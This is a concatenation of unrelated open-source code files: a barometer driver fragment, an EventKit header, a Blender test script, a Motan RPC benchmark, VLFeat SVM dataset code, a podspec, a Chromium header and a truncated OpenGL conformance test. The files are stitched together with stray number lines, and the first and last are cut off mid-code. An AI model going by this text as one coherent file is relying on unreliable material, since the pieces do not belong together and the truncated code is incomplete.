(uint8_t)reg_cfg.reg, reg_value, reg_cfg.clear_bits); success = false; } return success; } uint8_t MPC2520::RegisterRead(Register reg) { const uint8_t cmd = static_cast<uint8_t>(reg); uint8_t buffer{}; transfer(&cmd, 1, &buffer, 1); return buffer; } void MPC2520::RegisterWrite(Register reg, uint8_t value) { uint8_t buffer[2] { (uint8_t)reg, value }; transfer(buffer, sizeof(buffer), nullptr, 0); } void MPC2520::RegisterSetAndClearBits(Register reg, uint8_t setbits, uint8_t clearbits) { const uint8_t orig_val = RegisterRead(reg); uint8_t val = (orig_val & ~clearbits) | setbits; if (orig_val != val) { RegisterWrite(reg, val); } }
4,108
416
// // EKTypes.h // EventKit // // Copyright 2011 Apple Inc. All rights reserved. // #import <Foundation/NSObjCRuntime.h> NS_ASSUME_NONNULL_BEGIN /*! @enum EKAuthorizationStatus @abstract This enumerated type is used to indicate the currently granted authorization status for a specific entity type. @constant EKAuthorizationStatusNotDetermined The user has not yet made a choice regarding whether this application may access the service. @constant EKAuthorizationStatusRestricted This application is not authorized to access the service. The user cannot change this application’s status, possibly due to active restrictions such as parental controls being in place. @constant EKAuthorizationStatusDenied The user explicitly denied access to the service for this application. @constant EKAuthorizationStatusAuthorized This application is authorized to access the service. */ typedef NS_ENUM(NSInteger, EKAuthorizationStatus) { EKAuthorizationStatusNotDetermined = 0, EKAuthorizationStatusRestricted, EKAuthorizationStatusDenied, EKAuthorizationStatusAuthorized, } NS_AVAILABLE(10_9, 6_0); typedef NS_ENUM(NSInteger, EKWeekday) { EKWeekdaySunday = 1, EKWeekdayMonday, EKWeekdayTuesday, EKWeekdayWednesday, EKWeekdayThursday, EKWeekdayFriday, EKWeekdaySaturday, EKSunday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdaySunday instead") = EKWeekdaySunday, EKMonday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdayMonday instead") = EKWeekdayMonday, EKTuesday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdayTuesday instead") = EKWeekdayTuesday, EKWednesday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdayWednesday instead") = EKWeekdayWednesday, EKThursday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdayThursday instead") = EKWeekdayThursday, EKFriday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdayFriday instead") = EKWeekdayFriday, EKSaturday NS_ENUM_DEPRECATED(10_8, 10_11, 4_0, 9_0, "Use EKWeekdaySaturday instead") = EKWeekdaySaturday, }; /*! @enum EKRecurrenceFrequency @abstract The frequency of a recurrence @discussion EKRecurrenceFrequency designates the unit of time used to describe the recurrence. It has four possible values, which correspond to recurrence rules that are defined in terms of days, weeks, months, and years. */ typedef NS_ENUM(NSInteger, EKRecurrenceFrequency) { EKRecurrenceFrequencyDaily, EKRecurrenceFrequencyWeekly, EKRecurrenceFrequencyMonthly, EKRecurrenceFrequencyYearly }; /*! @enum EKParticipantType @abstract Value representing the type of attendee. */ typedef NS_ENUM(NSInteger, EKParticipantType) { EKParticipantTypeUnknown, EKParticipantTypePerson, EKParticipantTypeRoom, EKParticipantTypeResource, EKParticipantTypeGroup }; /*! @enum EKParticipantRole @abstract Value representing the role of a meeting participant. */ typedef NS_ENUM(NSInteger, EKParticipantRole) { EKParticipantRoleUnknown, EKParticipantRoleRequired, EKParticipantRoleOptional, EKParticipantRoleChair, EKParticipantRoleNonParticipant }; /*! @enum EKParticipantScheduleStatus @abstract Value representing the status of a meeting invite. @constant EKParticipantScheduleStatusNone Default value. Indicates that no invitation has been sent yet. @constant EKParticipantScheduleStatusPending The invitation is in the process of being sent. @constant EKParticipantScheduleStatusSent The invitation has been sent, but we have no way of determing if it was successfully delivered. @constant EKParticipantScheduleStatusDelivered The invitation has been sent and successfully delivered. @constant EKParticipantScheduleStatusRecipientNotRecognized The invitation wasn't delivered because we source doesn't recognize the recipient. @constant EKParticipantScheduleStatusNoPrivileges The invitation wasn't delivered because of insufficient privileges. @constant EKParticipantScheduleStatusDeliveryFailed The invitation wasn't delivered most likely due to a temporary failure. @constant EKParticipantScheduleStatusCannotDeliver The invitation wasn't delivered because we're unsure how to deliver it. This is a permanent failure. @constant EKParticipantScheduleStatusRecipientNotAllowed The invitation wasn't delivered because scheduling with the participant isn't allowed. This is a permanent failure. */ typedef NS_ENUM(NSInteger, EKParticipantScheduleStatus) { EKParticipantScheduleStatusNone, EKParticipantScheduleStatusPending, EKParticipantScheduleStatusSent, EKParticipantScheduleStatusDelivered, EKParticipantScheduleStatusRecipientNotRecognized, EKParticipantScheduleStatusNoPrivileges, EKParticipantScheduleStatusDeliveryFailed, EKParticipantScheduleStatusCannotDeliver, EKParticipantScheduleStatusRecipientNotAllowed, }; /*! @enum EKParticipantStatus @abstract Value representing the status of a meeting participant. */ typedef NS_ENUM(NSInteger, EKParticipantStatus) { EKParticipantStatusUnknown, EKParticipantStatusPending, EKParticipantStatusAccepted, EKParticipantStatusDeclined, EKParticipantStatusTentative, EKParticipantStatusDelegated, EKParticipantStatusCompleted, EKParticipantStatusInProcess }; /*! @enum EKCalendarType @abstract An enum representing the type of a calendar. @constant EKCalendarTypeLocal This calendar is sync'd from either Mobile Me or tethered. @constant EKCalendarTypeCalDAV This calendar is from a CalDAV server. @constant EKCalendarTypeExchange This calendar comes from an Exchange server. @constant EKCalendarTypeSubscription This is a locally subscribed calendar. @constant EKCalendarTypeBirthday This is the built-in birthday calendar. */ typedef NS_ENUM(NSInteger, EKCalendarType) { EKCalendarTypeLocal, EKCalendarTypeCalDAV, EKCalendarTypeExchange, EKCalendarTypeSubscription, EKCalendarTypeBirthday }; // Event availability support (free/busy) typedef NS_OPTIONS(NSUInteger, EKCalendarEventAvailabilityMask) { EKCalendarEventAvailabilityNone = 0, // calendar doesn't support event availability EKCalendarEventAvailabilityBusy = (1 << 0), EKCalendarEventAvailabilityFree = (1 << 1), EKCalendarEventAvailabilityTentative = (1 << 2), EKCalendarEventAvailabilityUnavailable = (1 << 3), }; typedef NS_ENUM(NSInteger, EKSourceType) { EKSourceTypeLocal, EKSourceTypeExchange, EKSourceTypeCalDAV, EKSourceTypeMobileMe, EKSourceTypeSubscribed, EKSourceTypeBirthdays }; /*! @enum EKEntityType @abstract A value which specifies an entity type of event or reminder. */ typedef NS_ENUM(NSUInteger, EKEntityType) { EKEntityTypeEvent, EKEntityTypeReminder }; /*! @enum EKEntityMask @abstract A bitmask based on EKEntityType that can be used to specify multiple entities at once. */ typedef NS_OPTIONS(NSUInteger, EKEntityMask) { EKEntityMaskEvent = (1 << EKEntityTypeEvent), EKEntityMaskReminder = (1 << EKEntityTypeReminder) }; /*! @enum EKAlarmProximity @abstract A value indicating whether an alarm is triggered by entering or exiting a geofence. @constant EKAlarmProximityNone The alarm has no proximity trigger. @constant EKAlarmProximityEnter The alarm is set to fire when entering a region (geofence). @constant EKAlarmProximityLeave The alarm is set to fire when leaving a region (geofence). */ typedef NS_ENUM(NSInteger, EKAlarmProximity) { EKAlarmProximityNone, EKAlarmProximityEnter, EKAlarmProximityLeave }; /*! @enum EKAlarmType @abstract A value which specifies the action that occurs when the alarm is triggered. @constant EKAlarmTypeDisplay The alarm displays a message. @constant EKAlarmTypeAudio The alarm plays a sound. @constant EKAlarmTypeProcedure The alarm opens a URL. @constant EKAlarmTypeEmail The alarm sends an email. */ typedef NS_ENUM(NSInteger, EKAlarmType) { EKAlarmTypeDisplay, EKAlarmTypeAudio, EKAlarmTypeProcedure, EKAlarmTypeEmail }; /*! @enum EKReminderPriority @abstract A priority for a reminder. @discussion RFC 5545 allows priority to be specified with an integer in the range of 0-9, with 0 representing an undefined priority, 1 the highest priority, and 9 the lowest priority. Clients are encouraged to use these values when setting a reminders's priority, but is is possible to specify any integer value from 0 to 9. @constant EKReminderPriorityNone The reminder has no priority set. @constant EKReminderPriorityHigh The reminder is high priority. @constant EKReminderPriorityMedium The reminder is medium priority. @constant EKReminderPriorityLow The reminder is low priority. */ typedef NS_ENUM(NSUInteger, EKReminderPriority) { EKReminderPriorityNone = 0, EKReminderPriorityHigh = 1, EKReminderPriorityMedium = 5, EKReminderPriorityLow = 9 }; NS_ASSUME_NONNULL_END
4,380
365
# Apache License, Version 2.0 # ./blender.bin --background -noaudio --factory-startup --python tests/python/bl_rna_defaults.py import bpy DUMMY_NAME = "Untitled" DUMMY_PATH = __file__ GLOBALS = { "error_num": 0, } def as_float_32(f): from struct import pack, unpack return unpack("f", pack("f", f))[0] def repr_float_precision(f, round_fn): """ Get's the value which was most likely entered by a human in C. Needed since Python will show trailing precision from a 32bit float. """ f_round = round_fn(f) f_str = repr(f) f_str_frac = f_str.partition(".")[2] if not f_str_frac: return f_str for i in range(1, len(f_str_frac)): f_test = round(f, i) f_test_round = round_fn(f_test) if f_test_round == f_round: return "%.*f" % (i, f_test) return f_str def repr_float_32(f): return repr_float_precision(f, as_float_32) def validate_defaults(test_id, o): def warning(prop_id, val_real, val_default, *, repr_fn=repr): print("Error %s: '%s.%s' is:%s, expected:%s" % (test_id, o.__class__.__name__, prop_id, repr_fn(val_real), repr_fn(val_default))) GLOBALS["error_num"] += 1 properties = type(o).bl_rna.properties.items() for prop_id, prop in properties: if prop_id == "rna_type": continue prop_type = prop.type if prop_type in {'STRING', 'COLLECTION'}: continue if prop_type == 'POINTER': # traverse down pointers if they're set val_real = getattr(o, prop_id) if (val_real is not None) and (not isinstance(val_real, bpy.types.ID)): validate_defaults("%s.%s" % (test_id, prop_id), val_real) elif prop_type in {'INT', 'BOOL'}: # array_length = prop.array_length if not prop.is_array: val_real = getattr(o, prop_id) val_default = prop.default if val_real != val_default: warning(prop_id, val_real, val_default) else: pass # TODO, array defaults elif prop_type == 'FLOAT': # array_length = prop.array_length if not prop.is_array: val_real = getattr(o, prop_id) val_default = prop.default if val_real != val_default: warning(prop_id, val_real, val_default, repr_fn=repr_float_32) else: pass # TODO, array defaults elif prop_type == 'ENUM': val_real = getattr(o, prop_id) if prop.is_enum_flag: val_default = prop.default_flag else: val_default = prop.default if val_real != val_default: warning(prop_id, val_real, val_default) # print(prop_id, prop_type) def _test_id_gen(data_attr, args_create=(DUMMY_NAME,), create_method="new"): def test_gen(test_id): id_collection = getattr(bpy.data, data_attr) create_fn = getattr(id_collection, create_method) o = create_fn(*args_create) o.user_clear() validate_defaults(test_id, o) id_collection.remove(o) return test_gen test_Action = _test_id_gen("actions") test_Armature = _test_id_gen("armatures") test_Camera = _test_id_gen("cameras") test_Group = _test_id_gen("groups") test_Lattice = _test_id_gen("lattices") test_LineStyle = _test_id_gen("linestyles") test_Mask = _test_id_gen("masks") test_Material = _test_id_gen("materials") test_Mesh = _test_id_gen("meshes") test_MetaBall = _test_id_gen("metaballs") test_MovieClip = _test_id_gen("movieclips", args_create=(DUMMY_PATH,), create_method="load") test_Object = _test_id_gen("objects", args_create=(DUMMY_NAME, None)) test_Palette = _test_id_gen("palettes") test_Particle = _test_id_gen("particles") test_Scene = _test_id_gen("scenes") test_Sound = _test_id_gen("sounds", args_create=(DUMMY_PATH,), create_method="load") test_Speaker = _test_id_gen("speakers") test_Text = _test_id_gen("texts") test_VectorFont = _test_id_gen("fonts", args_create=("<builtin>",), create_method="load") test_World = _test_id_gen("worlds") ns = globals() for t in bpy.data.curves.bl_rna.functions["new"].parameters["type"].enum_items.keys(): ns["test_Curve_%s" % t] = _test_id_gen("curves", args_create=(DUMMY_NAME, t)) for t in bpy.data.lights.bl_rna.functions["new"].parameters["type"].enum_items.keys(): ns["test_Light_%s" % t] = _test_id_gen("lights", args_create=(DUMMY_NAME, t)) # types are a dynamic enum, have to hard-code. for t in "ShaderNodeTree", "CompositorNodeTree", "TextureNodeTree": ns["test_NodeGroup_%s" % t] = _test_id_gen("node_groups", args_create=(DUMMY_NAME, t)) for t in bpy.data.textures.bl_rna.functions["new"].parameters["type"].enum_items.keys(): ns["test_Texture_%s" % t] = _test_id_gen("textures", args_create=(DUMMY_NAME, t)) del ns def main(): for fn_id, fn_val in sorted(globals().items()): if fn_id.startswith("test_") and callable(fn_val): fn_val(fn_id) print("Error (total): %d" % GLOBALS["error_num"]) if __name__ == "__main__": main()
2,417
6,449
<gh_stars>1000+ /* * Copyright 2009-2016 Weibo, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.weibo.api.motan.benchmark; import com.weibo.api.motan.exception.MotanBizException; import com.weibo.api.motan.mock.MockChannel; import com.weibo.api.motan.protocol.example.IHello; import com.weibo.api.motan.protocol.rpc.DefaultRpcCodec; import com.weibo.api.motan.rpc.DefaultRequest; import com.weibo.api.motan.rpc.DefaultResponse; import com.weibo.api.motan.rpc.URL; import com.weibo.api.motan.transport.Channel; /** * @author maijunsheng * @version 创建时间:2013-6-21 * */ public class DefaultRpcCodecTest { private static final int loop = 100000; public static void main(String[] args) throws Exception { DefaultRpcCodec codec = new DefaultRpcCodec(); MockChannel channel = new MockChannel(new URL("motan", "localhost", 18080, IHello.class.getName())); System.out.println("requestSize: " + requestSize(codec, channel, null).length); System.out.println("responseSize: " + responseSize(codec, channel, null).length); System.out.println("responseSize: " + exceptionResponseSize(codec, channel).length); StringBuilder builder = new StringBuilder(); for (int i = 0; i < 200; i++) { builder.append("1"); } String value = builder.toString(); String[] arr = new String[] {value, value, value}; Long[] sets = new Long[20]; for (int i = 0; i < 20; i++) { sets[i] = 1000000000L + i; } System.out.println("requestSize 1k: " + requestSize(codec, channel, arr).length); System.out.println("responseSize 1k: " + responseSize(codec, channel, arr).length); byte[] data = null; for (int i = 0; i < loop; i++) { data = requestSize(codec, channel, sets); codec.decode(channel, "", data); } long start = System.nanoTime(); for (int i = 0; i < loop; i++) { data = requestSize(codec, channel, sets); } System.out.println("request encode performance: " + (System.nanoTime() - start) / loop + " ns"); start = System.nanoTime(); for (int i = 0; i < loop; i++) { codec.decode(channel, "", data); } System.out.println("request decode performance: " + (System.nanoTime() - start) / loop + " ns"); } /** * 不带参数的Request大小 */ private static byte[] requestSize(DefaultRpcCodec codec, Channel channel, Object data) throws Exception { DefaultRequest request = new DefaultRequest(); request.setInterfaceName(IHello.class.getName()); request.setMethodName("hello"); if (data != null) { request.setParamtersDesc("java.util.HashSet"); request.setArguments(new Object[] {data}); } else { request.setParamtersDesc("void"); } request.setRequestId(System.currentTimeMillis()); request.setAttachment("application", "helloApplication"); request.setAttachment("module", "helloModule"); request.setAttachment("version", "1.0"); request.setAttachment("graph", "yf-rpc"); byte[] bytes = codec.encode(channel, request); return bytes; } /** * 不带返回值的response大小 */ private static byte[] responseSize(DefaultRpcCodec codec, Channel channel, Object data) throws Exception { DefaultResponse response = new DefaultResponse(); response.setRequestId(System.currentTimeMillis()); response.setProcessTime(System.currentTimeMillis()); if (data != null) { response.setValue(data); } byte[] bytes = codec.encode(channel, response); return bytes; } /** * 不带参数的Request大小 */ private static byte[] exceptionResponseSize(DefaultRpcCodec codec, Channel channel) throws Exception { DefaultResponse response = new DefaultResponse(); response.setRequestId(System.currentTimeMillis()); response.setProcessTime(System.currentTimeMillis()); response.setException(new MotanBizException(new RuntimeException("hi, boy, i am biz exception."))); byte[] bytes = codec.encode(channel, response); return bytes; } }
1,890
2,535
/** @file svmdataset.c ** @brief SVM Dataset - Definition ** @author <NAME> ** @author <NAME> **/ /* Copyright (C) 2012 <NAME>. Copyright (C) 2013 <NAME>. All rights reserved. This file is part of the VLFeat library and is made available under the terms of the BSD license (see the COPYING file). */ /** @file svmdataset.h @tableofcontents @author <NAME> @author <NAME> The SVM solver object ::VlSvm, supporting SVM learning in VLFeat, uses an abstraction mechanism to work on arbitrary data types. This module provides an helper object, ::VlSvmDataset, that simplify taking advantage of this functionality, supporting for example different data types and the computation of feature maps out of the box. <!-- ------------------------------------------------------------- --> @section svmdataset-starting Getting started <!-- ------------------------------------------------------------- --> As discussed in @ref svm-advanced, most linear SVM solvers, such as the ones implemented in VLFeat in @ref svm, require only two operations to be defined on the data: - *Inner product* between a data point $\bx$ and the model vector $\bw$. This is implemented by a function of type ::VlSvmInnerProductFunction. - *Accumulation* of a dataobint $\bx$ to the model vector $\bw$: $\bw \leftarrow \bw + \alpha \bx$. This is implemented by a function of the type ::VlSvmAccumulateFunction . The SVM solver needs to know nothing about the data once these two operations are defined. These functions can do any number of things, such as supporting different formats for the data (dense or sparse, float or double), computing feature maps, or expanding compressed representations such as Product Quantization. VLFeat provides the helper object ::VlSvmDataset to support some of these functionalities out of the box (it is important to remark that its use with the SVM solver ::VlSvm is entirely optional). Presently, ::VlSvmDataset supports: - @c float and @c double dense arrays. - The on-the-fly application of the homogeneous kernel map to implement additive non-linear kernels (see @ref homkermap). For example, to learn a linear SVM on SINGLE data: @code int main() { vl_size const numData = 4 ; vl_size const dimension = 2 ; single x [dimension * numData] = { 0.0, -0.5, 0.6, -0.3, 0.0, 0.5, 0.6, 0.0} ; double y [numData] = {1, 1, -1, 1} ; double lambda = 0.01; double * const model ; double bias ; VlSvmDataset * dataset = vl_svmdataset_new (VL_TYPE_SINGLE, x, dimension, numData) ; VlSvm * svm = vl_svm_new_with_dataset (VlSvmSolverSgd, dataset, y, lambda) ; vl_svm_train(svm) ; model = vl_svm_get_model(svm) ; bias = vl_svm_get_bias(svm) ; printf("model w = [ %f , %f ] , bias b = %f \n", model[0], model[1], bias); vl_svm_delete(svm) ; vl_svmdataset_delete(dataset) ; return 0; } @endcode **/ /* ---------------------------------------------------------------- */ #ifndef VL_SVMDATASET_INSTANTIATING /* ---------------------------------------------------------------- */ #include "svmdataset.h" #include <string.h> #include <math.h> struct VlSvmDataset_ { vl_type dataType ; /**< Data type. */ void * data ; /**< Pointer to data. */ vl_size numData ; /**< Number of wrapped data. */ vl_size dimension ; /**< Data point dimension. */ VlHomogeneousKernelMap * hom ; /**< Homogeneous kernel map (optional). */ void * homBuffer ; /**< Homogeneous kernel map buffer. */ vl_size homDimension ; /**< Homogeneous kernel map dimension. */ } ; /* templetized parts of the implementation */ #define FLT VL_TYPE_FLOAT #define VL_SVMDATASET_INSTANTIATING #include "svmdataset.c" #define FLT VL_TYPE_DOUBLE #define VL_SVMDATASET_INSTANTIATING #include "svmdataset.c" /** @brief Create a new object wrapping a dataset. ** @param dataType of data (@c float and @c double supported). ** @param data pointer to the data. ** @param dimension the dimension of a data vector. ** @param numData number of wrapped data vectors. ** @return new object. ** ** The function allocates and returns a new SVM dataset object ** wrapping the data pointed by @a data. Note that no copy is made ** of data, so the caller should keep the data allocated as the object exists. ** ** @sa ::vl_svmdataset_delete **/ VlSvmDataset* vl_svmdataset_new (vl_type dataType, void *data, vl_size dimension, vl_size numData) { VlSvmDataset * self ; assert(dataType == VL_TYPE_DOUBLE || dataType == VL_TYPE_FLOAT) ; assert(data) ; self = vl_calloc(1, sizeof(VlSvmDataset)) ; if (self == NULL) return NULL ; self->dataType = dataType ; self->data = data ; self->dimension = dimension ; self->numData = numData ; self->hom = NULL ; self->homBuffer = NULL ; return self ; } /** @brief Delete the object. ** @param self object to delete. ** ** The function frees the resources allocated by ** ::vl_svmdataset_new(). Notice that the wrapped data will *not* ** be freed as it is not owned by the object. **/ void vl_svmdataset_delete (VlSvmDataset *self) { if (self->homBuffer) { vl_free(self->homBuffer) ; self->homBuffer = 0 ; } vl_free (self) ; } /** @brief Get the wrapped data. ** @param self object. ** @return a pointer to the wrapped data. **/ void* vl_svmdataset_get_data (VlSvmDataset const *self) { return self->data ; } /** @brief Get the number of wrapped data elements. ** @param self object. ** @return number of wrapped data elements. **/ vl_size vl_svmdataset_get_num_data (VlSvmDataset const *self) { return self->numData ; } /** @brief Get the dimension of the wrapped data. ** @param self object. ** @return dimension of the wrapped data. **/ vl_size vl_svmdataset_get_dimension (VlSvmDataset const *self) { if (self->hom) { return self->dimension * vl_homogeneouskernelmap_get_dimension(self->hom) ; } return self->dimension ; } /** @brief Get the homogeneous kernel map object. ** @param self object. ** @return homogenoeus kernel map object (or @c NULL if any). **/ VlHomogeneousKernelMap * vl_svmdataset_get_homogeneous_kernel_map (VlSvmDataset const *self) { assert(self) ; return self->hom ; } /** @brief Set the homogeneous kernel map object. ** @param self object. ** @param hom homogeneous kernel map object to use. ** ** After changing the kernel map, the inner product and accumulator ** function should be queried again (::vl_svmdataset_get_inner_product_function ** adn ::vl_svmdataset_get_accumulate_function). ** ** Set this to @c NULL to avoid using a kernel map. ** ** Note that this does *not* transfer the ownership of the object ** to the function. Furthermore, ::VlSvmDataset holds to the ** object until it is destroyed or the object is replaced or removed ** by calling this function again. **/ void vl_svmdataset_set_homogeneous_kernel_map (VlSvmDataset * self, VlHomogeneousKernelMap * hom) { assert(self) ; self->hom = hom ; self->homDimension = 0 ; if (self->homBuffer) { vl_free (self->homBuffer) ; self->homBuffer = 0 ; } if (self->hom) { self->homDimension = vl_homogeneouskernelmap_get_dimension(self->hom) ; self->homBuffer = vl_calloc(self->homDimension, vl_get_type_size(self->dataType)) ; } } /** @brief Get the accumulate function ** @param self object. ** @return a pointer to the accumulate function to use with this data. **/ VlSvmAccumulateFunction vl_svmdataset_get_accumulate_function(VlSvmDataset const *self) { if (self->hom == NULL) { switch (self->dataType) { case VL_TYPE_FLOAT: return (VlSvmAccumulateFunction) vl_svmdataset_accumulate_f ; break ; case VL_TYPE_DOUBLE: return (VlSvmAccumulateFunction) vl_svmdataset_accumulate_d ; break ; } } else { switch (self->dataType) { case VL_TYPE_FLOAT: return (VlSvmAccumulateFunction) vl_svmdataset_accumulate_hom_f ; break ; case VL_TYPE_DOUBLE: return (VlSvmAccumulateFunction) vl_svmdataset_accumulate_hom_d ; break ; } } assert(0) ; return NULL ; } /** @brief Get the inner product function. ** @param self object. ** @return a pointer to the inner product function to use with this data. **/ VlSvmInnerProductFunction vl_svmdataset_get_inner_product_function (VlSvmDataset const *self) { if (self->hom == NULL) { switch (self->dataType) { case VL_TYPE_FLOAT: return (VlSvmInnerProductFunction) _vl_svmdataset_inner_product_f ; break ; case VL_TYPE_DOUBLE: return (VlSvmInnerProductFunction) _vl_svmdataset_inner_product_d ; break ; default: assert(0) ; } } else { switch (self->dataType) { case VL_TYPE_FLOAT: return (VlSvmInnerProductFunction) _vl_svmdataset_inner_product_hom_f ; break ; case VL_TYPE_DOUBLE: return (VlSvmInnerProductFunction) _vl_svmdataset_inner_product_hom_d ; break ; default: assert(0) ; } } return NULL; } /* VL_SVMDATASET_INSTANTIATING */ #endif /* ---------------------------------------------------------------- */ #ifdef VL_SVMDATASET_INSTANTIATING /* ---------------------------------------------------------------- */ #include "float.th" double VL_XCAT(_vl_svmdataset_inner_product_,SFX) (VlSvmDataset const *self, vl_uindex element, double const *model) { double product = 0 ; T* data = ((T*)self->data) + self->dimension * element ; T* end = data + self->dimension ; while (data != end) { product += (*data++) * (*model++) ; } return product ; } void VL_XCAT(vl_svmdataset_accumulate_,SFX)(VlSvmDataset const *self, vl_uindex element, double *model, const double multiplier) { T* data = ((T*)self->data) + self->dimension * element ; T* end = data + self->dimension ; while (data != end) { *model += (*data++) * multiplier ; model++ ; } } double VL_XCAT(_vl_svmdataset_inner_product_hom_,SFX) (VlSvmDataset const *self, vl_uindex element, double const *model) { double product = 0 ; T* data = ((T*)self->data) + self->dimension * element ; T* end = data + self->dimension ; T* bufEnd = ((T*)self->homBuffer)+ self->homDimension ; while (data != end) { /* TODO: zeros in data could be optimized by skipping over them */ T* buf = self->homBuffer ; VL_XCAT(vl_homogeneouskernelmap_evaluate_,SFX)(self->hom, self->homBuffer, 1, (*data++)) ; while (buf != bufEnd) { product += (*buf++) * (*model++) ; } } return product ; } void VL_XCAT(vl_svmdataset_accumulate_hom_,SFX)(VlSvmDataset const *self, vl_uindex element, double *model, const double multiplier) { T* data = ((T*)self->data) + self->dimension * element ; T* end = data + self->dimension ; T* bufEnd = ((T*)self->homBuffer)+ self->homDimension ; while (data != end) { /* TODO: zeros in data could be optimized by skipping over them */ T* buf = self->homBuffer ; VL_XCAT(vl_homogeneouskernelmap_evaluate_,SFX)(self->hom, self->homBuffer, 1, (*data++)) ; while (buf != bufEnd) { *model += (*buf++) * multiplier ; model++ ; } } } #undef FLT #undef VL_SVMDATASET_INSTANTIATING /* VL_SVMDATASET_INSTANTIATING */ #endif
4,959
5,169
<gh_stars>1000+ { "name": "MCFoundationKit", "version": "1.1.5", "summary": "自定义基础工具库.", "description": "自定义基础工具库杂集\n\n主要包括:\n\n1.获取工程配置信息\n\n2.View操作,圆角、阴影、动画\n\n3.Audio,播放铃声、振动,循环播放\n\n4.String常用方法,全角半角、utf8、url encode、转json array dic\n\n5.RSA加密解密\n\n6.BitSet,仿照Java解析\n\n7.UserDefaults,本地化存储\n\n8.FileManager,文件操作\n\n9.ModalDialog,自定义模态框\n\n10.时间转换\n\n11.数据转换,16进制、10进制、2进制\n\n12.图片转换\n\n13.颜色转换\n\n14.二维码扫描\n\n...", "homepage": "https://github.com/Cli816/MCFoundationKit", "license": { "type": "MIT", "file": "LICENSE" }, "authors": { "Cli816": "<EMAIL>" }, "platforms": { "ios": "9.0" }, "source": { "git": "https://github.com/Cli816/MCFoundationKit.git", "tag": "1.1.5" }, "source_files": "MCFoundationKit/**/*.{h,m}" }
632
2,151
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IOS_CHROME_BROWSER_UI_READING_LIST_READING_LIST_MEDIATOR_H_ #define IOS_CHROME_BROWSER_UI_READING_LIST_READING_LIST_MEDIATOR_H_ #import <UIKit/UIKit.h> #import "ios/chrome/browser/ui/reading_list/reading_list_data_source.h" namespace favicon { class LargeIconService; } class GURL; class ReadingListEntry; class ReadingListModel; // Mediator between the Model and the UI. @interface ReadingListMediator : NSObject<ReadingListDataSource> - (nullable instancetype)init NS_UNAVAILABLE; - (nullable instancetype)initWithModel:(nonnull ReadingListModel*)model largeIconService: (nonnull favicon::LargeIconService*)largeIconService NS_DESIGNATED_INITIALIZER; // Returns the entry corresponding to the |item|. The item should be of type // ReadingListCollectionViewItem. Returns nullptr if there is no corresponding // entry. - (nullable const ReadingListEntry*)entryFromItem: (nonnull CollectionViewItem*)item; // Marks the entry with |URL| as read. - (void)markEntryRead:(const GURL&)URL; @end #endif // IOS_CHROME_BROWSER_UI_READING_LIST_READING_LIST_MEDIATOR_H_
463
354
/*------------------------------------------------------------------------- * OpenGL Conformance Test Suite * ----------------------------- * * Copyright (c) 2014-2016 The Khronos Group Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ /*! * \file * \brief */ /*-------------------------------------------------------------------*/ /** */ /*! * \file es31cTextureStorageMultisampleGetMultisamplefvTests.cpp * \brief Implements conformance tests testing whether glGetMultisamplefv() * works correctly. (ES3.1 only) */ /*-------------------------------------------------------------------*/ #include "es31cTextureStorageMultisampleGetMultisamplefvTests.hpp" #include "gluContextInfo.hpp" #include "gluDefs.hpp" #include "glwEnums.hpp" #include "glwFunctions.hpp" #include "tcuRenderTarget.hpp" #include "tcuTestLog.hpp" #include <string> #include <vector> namespace glcts { /** Constructor. * * @param context Rendering context handle. **/ MultisampleTextureGetMultisamplefvIndexEqualGLSamplesRejectedTest:: MultisampleTextureGetMultisamplefvIndexEqualGLSamplesRejectedTest(Context& context) : TestCase(context, "multisample_texture_get_multisamplefv_index_equal_gl_samples_rejected", "Verifies GetMultisamplefv() rejects index equal to GL_SAMPLES value") { /* Left blank on purpose */ } /** Executes test iteration. * * @return Returns STOP when test has finished executing, CONTINUE if more iterations are needed. */ tcu::TestNode::IterateResult MultisampleTextureGetMultisamplefvIndexEqualGLSamplesRejectedTest::iterate() { const glw::Functions& gl = m_context.getRenderContext().getFunctions(); glw::GLint gl_samples_value = 0; /* Get GL_SAMPLES value */ gl.getIntegerv(GL_SAMPLES, &gl_samples_value); GLU_EXPECT_NO_ERROR(gl.getError(), "Failed to retrieve GL_SAMPLES value"); /* Issue call with valid parameters, but invalid index equal to GL_SAMPLES value */ glw::GLfloat val[2]; gl.getMultisamplefv(GL_SAMPLE_POSITION, gl_samples_value, val); /* Check if the expected error code was reported */ if (gl.getError() != GL_INVALID_VALUE) { TCU_FAIL("Invalid error code reported"); } /* Test case passed */ m_testCtx.setTestResult(QP_TEST_RESULT_PASS, "Pass"); return STOP; } /** Constructor. * * @param context Rendering context handle. **/ MultisampleTextureGetMultisamplefvIndexGreaterGLSamplesRejectedTest:: MultisampleTextureGetMultisamplefvIndexGreaterGLSamplesRejectedTest(Context& context) : TestCase(context, "multisample_texture_get_multisamplefv_index_greater_gl_samples_rejected", "Verifies GetMultisamplefv() rejects index greater than GL_SAMPLES value") { /* Left blank on purpose */ } /** Executes test iteration. * * @return Returns STOP when test has finished executing, CONTINUE if more iterations are needed. */ tcu::TestNode::IterateResult MultisampleTextureGetMultisamplefvIndexGreaterGLSamplesRejectedTest::iterate() { const glw::Functions& gl = m_context.getRenderContext().getFunctions(); glw::GLint gl_samples_value = 0; /* Get GL_SAMPLES value */ gl.getIntegerv(GL_SAMPLES, 